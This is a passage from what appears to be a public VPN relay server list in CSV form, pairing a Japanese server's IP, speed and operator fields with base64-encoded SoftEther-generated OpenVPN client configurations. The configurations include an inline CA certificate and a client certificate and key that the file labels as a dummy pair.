ggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjUuMTM4LjE1OS41NyAxNzQ2DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn802766799,175.128.95.93,570295,23,154930109,Japan,JP,6,1000,62167,4542478539064,2weeks,DESKTOP-6S4A7N2's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZS